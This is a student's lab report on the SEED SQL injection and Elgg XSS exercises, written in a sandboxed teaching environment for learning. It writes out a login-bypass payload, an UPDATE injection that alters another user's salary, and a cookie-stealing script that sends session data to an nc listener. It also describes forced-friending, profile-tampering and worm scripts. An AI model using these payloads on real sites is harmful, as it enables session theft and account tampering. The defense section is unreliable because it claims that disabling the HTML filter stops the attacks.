20251911 2025-2026-2 《网络攻防实践》实践十报告
1.实践内容
SQL注入攻防实验依托专属员工管理Web应用平台开展,实验包括SQL语句基础实操、SELECT查询语句注入攻击、UPDATE更新语句注入攻击以及SQL注入漏洞修复防御四个维度。
XSS跨站脚本攻防实验基于搭载在SEED虚拟机中的Elgg社交平台实现,实验包括基础弹窗攻击、Cookie信息获取与窃取、强制添加好友、篡改用户个人资料、XSS蠕虫脚本编写及XSS漏洞防御等实操任务。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
下载SEEDUbuntu-16.04-32bit虚拟机镜像,通过VirtualBox虚拟机软件创建新虚拟机,导入解压后的vmdk磁盘文件,完成虚拟机搭建。
成功创建虚拟机后,将主机名修改为姓名拼音

2.1.1 熟悉SQL基础语句操作
开启虚拟机终端,通过 mysql -u root -p 命令登录MySQL数据库,输入默认密码完成登录。

首先执行 show databases; 命令,查看系统中所有数据库文件,确认实验所需的Users数据库存在。

接着通过 use Users; 切换至目标数据库

使用 show tables; 查看库内数据表

可查询到核心数据表credential,该表存储了所有员工的工号、密码、薪资、社保号、姓名等核心隐私信息。
为熟悉数据查询语法,执行 select * from credential; 查看数据表内全部员工数据

执行条件查询语句 select * from credential where Name = 'Alice';,单独查询用户Alice的个人数据信息

2.1.2 基于 SELECT 语句的 SQL 注入攻击
访问指定员工管理 Web 平台 www.SEEDLabSQLInjection.com

进入系统登录界面。在登录框随意输入一组用户名和密码进行测试,按下 F12 打开浏览器开发者模式抓包分析登录请求


发现登录功能采用 GET 方式请求 unsafe_home.php 文件,系统直接将用户输入的用户名、密码参数拼接至 SQL 查询语句中,未做任何过滤与预处理,存在典型的 SQL 注入漏洞。
查看后端源码

可知系统登录逻辑为通过用户名和密码双重条件查询用户数据。
利用 MySQL 注释符 # 的特性,构造恶意用户名载荷 Admin'#,该载荷中单引号闭合原有 SQL 字段引号,# 注释掉后端 SQL 语句中的密码验证条件,使原有校验逻辑失效。输入该用户名、任意密码

提交登录

系统绕过密码验证,直接匹配管理员 Admin 账号数据,成功获取管理员权限!
2.1.3 基于 UPDATE 语句的 SQL 注入攻击
登录普通员工账号后,在首页找到 edit profile 入口进入个人资料编辑页面

抓包分析页面请求逻辑


确认资料更新功能由 unsafe_edit_backend.php 文件处理

后端通过 UPDATE 语句实现用户昵称、薪资等信息的修改,同样存在参数拼接漏洞。
利用 UPDATE 语句的语法特性,在昵称输入框构造恶意注入载荷 ', Salary='20251911' where name='Admin'#。

该载荷可篡改原有更新语句逻辑,将更新对象从当前登录用户改为管理员 Admin,并强制修改其薪资字段数值。

提交修改后,回到 MySQL 终端执行查询语句查看 Admin 薪资,可发现 Admin 的薪资已被成功篡改,完成 UPDATE 语句的 SQL 注入攻击实操。
2.1.4 SQL 注入漏洞防御修复
在终端执行命令提升 unsafe_home.php 文件操作权限

使用编辑器打开源码修改后端核心代码,摒弃直接拼接用户输入的写法,使用 prepare 预处理 SQL 语句,通过占位符替代用户输入参数,再通过 bind_param 绑定参数类型与具体数值,实现 SQL 语句与用户输入的完全隔离。

漏洞修复完成后,再次输入恶意载荷 Admin'# 进行登录测试

系统无法绕过密码验证,恶意注入失效,用户输入参数无法篡改 SQL 语句逻辑,成功修复 SQL 注入漏洞。
2.2 SEED XSS 跨站脚本攻击实验
在Elgg 开源社交平台开展实验,平台预设用户账号,本次主要使用 Alice、Boby 普通用户账号及 Admin 管理员账号进行攻防测试,通过构造 JavaScript 恶意脚本,利用存储型 XSS 漏洞实现各类攻击操作。
2.2.1 基础恶意弹窗攻击
访问 Elgg 平台地址 http://www.xsslabelgg.com,使用账号 Alice、密码 seedalice 登录个人主页

进入资料编辑界面。在个人简介输入框中嵌入基础 XSS 攻击脚本 <script>alert("20251911");</script>

保存个人资料后,页面自动执行 JavaScript 代码,弹出自定义内容警示窗口,验证了平台存在存储型 XSS 漏洞,用户输入的脚本可被浏览器解析执行。
2.2.2 弹窗展示用户 Cookie 信息
修改个人简介中的恶意脚本,使用 document.cookie 获取当前用户 Cookie 数据,构造脚本 <script> alert(document.cookie);</script>。


保存资料后,页面弹窗成功展示当前登录用户的完整 Cookie 信息,证明可通过 XSS 漏洞窃取用户本地会话凭证。
2.2.3 远程窃取受害者 Cookie 数据
为实现 Cookie 远程窃取,首先新开终端窗口,在虚拟机终端执行 nc -l 5555 -v 命令,开启 5555 端口监听,等待接收恶意脚本传输的数据。随后构造基于 img 标签的被动传输脚本,利用图片加载自动请求的特性,将用户 Cookie 数据通过 URL 参数发送至本地监听端口,核心脚本为:
<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>

将脚本嵌入个人简介并保存

当其他用户访问该主页时,脚本自动执行,用户 Cookie 信息被加密后传输至本地监听端口,终端成功捕获受害者 Cookie 数据,完成 Cookie 远程窃取攻击。
2.2.4 无交互强制添加好友
通过浏览器打开 Boby 主页,F12 抓包分析 Elgg 平台添加好友的网络请求,获取加好友接口地址、用户 ID、时间戳(ts)及安全令牌(token)等核心参数


查询得到测试用户 Boby 的好友 ID 为 45。
基于 Ajax 请求机制构造恶意 JS 脚本,脚本自动获取当前页面的安全令牌与时间戳,拼接加好友请求链接,后台自动发送 GET 请求执行加好友操作,无需用户手动确认。


将脚本嵌入 About Me 个人资料页面并保存,切换 Boby 账号访问 Alice 主页,其他用户访问该页面时脚本自动执行,可实现强制添加好友的攻击效果,测试后 Alice 账号成功自动添加 Boby 为好友。(多刷新几次就行)
2.2.5 自动篡改受害者个人资料
分析 Elgg 平台个人资料修改接口的请求规则,明确资料修改所需的账号唯一标识、安全令牌、参数格式等信息。编写恶意 Ajax 脚本脚本可自动获取当前访问用户的会话信息与安全凭证,拼接资料修改参数,向平台编辑接口发送 POST 请求,批量修改用户简介、个人资料等内容。

将脚本嵌入 Alice 个人主页,登录 Boby 账号访问该页面

脚本自动触发并执行资料篡改操作,Boby 的个人资料被恶意修改,验证了 XSS 漏洞可实现用户信息篡改的高危攻击效果。
2.2.6 XSS 蠕虫脚本编写与传播测试
基于上述攻击原理编写具备自我传播能力的 XSS 蠕虫脚本,核心逻辑为:脚本加载后自动抓取自身完整代码并编码,结合平台安全参数拼接资料修改请求,自动将蠕虫脚本复制到访问者的个人资料页面。

将蠕虫脚本嵌入 Alice 主页并保存

使用 Boby 账号访问该页面

蠕虫脚本自动执行,成功将自身代码植入 Boby 的个人资料中。后续其他用户访问 Boby 主页时,会再次触发脚本实现二次传播,达成 XSS 蠕虫的扩散攻击效果,充分体现存储型 XSS 漏洞的链式危害。
2.2.7 XSS 漏洞防御配置
登录 Elgg 平台管理员账号,进入平台后台管理界面,找到插件管理模块

关闭 HTMLawed 安全过滤插件。

该插件可对页面输入的 HTML、JS 脚本进行过滤转义,关闭后平台将直接解析用户输入的脚本代码。重新执行上述 XSS 攻击操作

脚本无法正常执行,攻击失效,验证了 HTML 脚本过滤插件可有效防御常规存储型 XSS 攻击。
3. 学习中遇到的问题及解决
问题:使用 nc -l 5555 开启端口监听后,访问嵌入了 Cookie 窃取脚本的恶意页面,终端没有收到任何数据,监听窗口一直空白。
解决方案:检查后发现是 nc 命令缺少 -v 参数导致输出不显示详细信息,加上 -v 后终端立刻显示出 HTTP 请求。
4. 实验总结
本次实验无论是 SQL 注入还是 XSS 攻击,本质上都是因为程序盲目信任了来自客户端的数据,将其直接拼接进命令或页面中执行。而防御措施——无论是预处理语句还是 HTML 过滤插件——其实都是在做同一件事:区分代码与数据。实验过程里比较印象深刻的是通过一个 # 注释掉密码验证逻辑,真切理解了注入类漏洞的威力。看似简单的攻击手法,背后是对系统信任边界的攻击。

浙公网安备 33010602011771号